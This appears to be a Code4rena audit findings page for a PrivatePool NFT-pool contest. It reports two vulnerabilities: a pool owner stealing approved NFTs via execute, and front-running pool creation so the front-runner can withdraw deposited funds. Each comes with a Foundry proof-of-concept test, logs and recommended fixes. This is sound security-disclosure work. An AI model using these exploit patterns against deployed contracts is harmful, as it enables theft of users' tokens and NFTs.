Platform: Code4rena
Start Date: 07/04/2023
Pot Size: $47,000 USDC
Total HM: 20
Participants: 120
Period: 6 days
Judge: GalloDaSballo
Total Solo HM: 4
Id: 230
League: ETH
Rank: 63/120
Findings: 2
Award: $37.62
🌟 Selected for report: 0
🚀 Solo Findings: 0
26.761 USDC - $26.76
The owner of a PrivatePool, i.e. anyone who has the ownership NFT of the pool, can call the transferFrom
or safeTransferFrom
method of any token / NFT through the execute method of the PrivatePool
contract.
In case a user has given approval (for tokens / NFTs) to the PrivatePool, which is always necessary when interacting directly with the contract's buy
, sell
or change
methods, the pool owner can steal those tokens / NFTs or even front-run the aforementioned methods via the execute method.
setApprovalForAll
(puts NFTs at risk that the user doesn't even intend to sell).withdraw
method.execute
are usually protected by a time-lock or multisig wallet.)EthRouter
contract since no direct user approvals are given to the pool. However, the user is not forced to use the router.The stated risks are my justification to classify this as High Risk
finding although the execute method has restricted access.
The following PoC will steal an NFT from a user that has given approval to the PrivatePool. Furthermore, the malicious pool owner will front-run the user's call to the sell
method in order to make it fail, i.e. additional gas loss for the user.
Just add this test case to test/PrivatePool/Sell.t.sol
and run it:
// based on test_TransfersBaseTokenToCaller function test_StealApprovedNft() public { // arrange privatePool = new PrivatePool( address(factory), address(royaltyRegistry), address(stolenNftOracle) ); privatePool.initialize( address(shibaInu), nft, virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, merkleRoot, true, true ); deal(address(shibaInu), address(privatePool), virtualBaseTokenReserves); milady.setApprovalForAll(address(privatePool), true); // steal NFT (id=1) after approval and fron-run sell address poolNftOwner = address(0x123); vm.mockCall( // become pool NFT owner address(factory), abi.encodeWithSelector( ERC721.ownerOf.selector, address(privatePool) ), abi.encode(poolNftOwner) ); vm.startPrank(poolNftOwner); privatePool.execute( // steal NFT (id=1) from user to pool NFT owner address(milady), abi.encodeCall( ERC721.transferFrom, (address(this), poolNftOwner, 1) ) ); vm.stopPrank(); // sell NFTs tokenIds.push(1); tokenIds.push(2); tokenIds.push(3); // act vm.expectRevert(bytes("WRONG_FROM")); // no longer owner of NFT (id=1) privatePool.sell(tokenIds, tokenWeights, proofs, stolenNftProofs); // assert assertEq( milady.ownerOf(1), poolNftOwner, "Should have transferred NFT (id=1) to pool NFT owner" ); }
Log:
Running 1 test for test/PrivatePool/Sell.t.sol:SellTest [PASS] test_StealApprovedNft() (gas: 3689739) Test result: ok. 1 passed; 0 failed; finished in 9.83ms
VS Code, Foundry
Introduce a whitelist (provided by the Factory
contract) to restrict which function selectors are allowed to be called from execute
.
If this is not suitable for you, I suggest a blacklist instead and add the function selectors of transferFrom
, safeTransferFrom
, approve
and setApprovalForAll
(according to ERC20 and ERC721 interfaces) per default.
#0 - c4-pre-sort
2023-04-18T10:13:23Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-20T16:39:56Z
0xSorryNotSorry marked the issue as duplicate of #184
#2 - c4-judge
2023-05-01T19:21:16Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: AkshaySrivastav
Also found by: 0xTheC0der, Dug, GT_Blockchain, Haipls, adriro, bin2chen, carlitox477, dingo2077, fs0c, hasmama, hihen, holyhansss_kr, juancito, ladboy233, philogy, saian, said, sashik_eth, yixxas, zion
10.8554 USDC - $10.86
The creation of a PrivatePool using the Factory
contract's create method can be front-run by anyone.
This is a simple griefing attack with no funds at immediate risk if the user who wanted to create the pool notices that the transaction has failed.
If the user fails to recognize the failed transaction and proceeds to deposit funds into the PrivatePool, which was created by the front-runner but the user believes it's his, the funds can be withdrawn only by the front-runner.
So, best-case of this vulnerability is griefing (gas loss for user) and worst-case is loss of funds.
The following PoC demonstrates the front-running of a PrivatePool creation with a subsequent deposit of ETH and NFTs by the "orignial" creator. Later on, these funds are withdrawn/stolen from the pool by the front-runner.
First, fix the setUp
method in test/Factory/Create.t.sol
by moving the line factory = new Factory();
above the construction of the PrivatePool
implementation contract. This ensures that the pool ownership checking works correctly.
Second, add the follwing test case to test/Factory/Create.t.sol
and run it:
// based on test_MintsNftToCaller function test_FrontRunCreate() public { // predict pool address PrivatePool privatePool = PrivatePool( payable(factory.predictPoolDeploymentAddress(salt)) ); // front-run pool creation address frontrunner = address(0x123); vm.startPrank(frontrunner); factory.create( baseToken, address(milady), virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, merkleRoot, true, false, salt, tokenIds /* empty */, 0 ); vm.stopPrank(); // "normal" pool creation and deposit funds vm.expectRevert(LibClone.DeploymentFailed.selector); factory.create( baseToken, address(milady), virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, merkleRoot, true, false, salt, tokenIds /* empty */, 0 ); tokenIds.push(1); tokenIds.push(2); tokenIds.push(3); milady.setApprovalForAll(address(privatePool), true); privatePool.deposit{value: baseTokenAmount}(tokenIds, baseTokenAmount); // steal deposited funds by front-runner vm.startPrank(frontrunner); privatePool.withdraw( address(milady), tokenIds, baseToken, baseTokenAmount ); vm.stopPrank(); // assert assertEq( factory.ownerOf(uint256(uint160(address(privatePool)))), frontrunner, "Should have minted NFT to the front-runner" ); assertEq( frontrunner.balance, baseTokenAmount, "Should have been withdrawn to front-runner" ); }
Log:
Running 1 test for test/Factory/Create.t.sol:CreateTest [PASS] test_FrontRunCreate() (gas: 8937393460516988494) Test result: ok. 1 passed; 0 failed; finished in 6.28ms
VS Code, Foundry
Incorporate the msg.sender
into the contract creation salt, e.g. bytes32 newSalt = keccak256(abi.encodePacked(salt, msg.sender));
and use it in the create
and predictPoolDeploymentAddress
methods of the Factory
contract.
This way, an attacker cannot create a PrivatePool at the same address as another user.
#0 - c4-pre-sort
2023-04-20T17:18:27Z
0xSorryNotSorry marked the issue as duplicate of #419
#1 - c4-judge
2023-05-01T07:24:11Z
GalloDaSballo marked the issue as satisfactory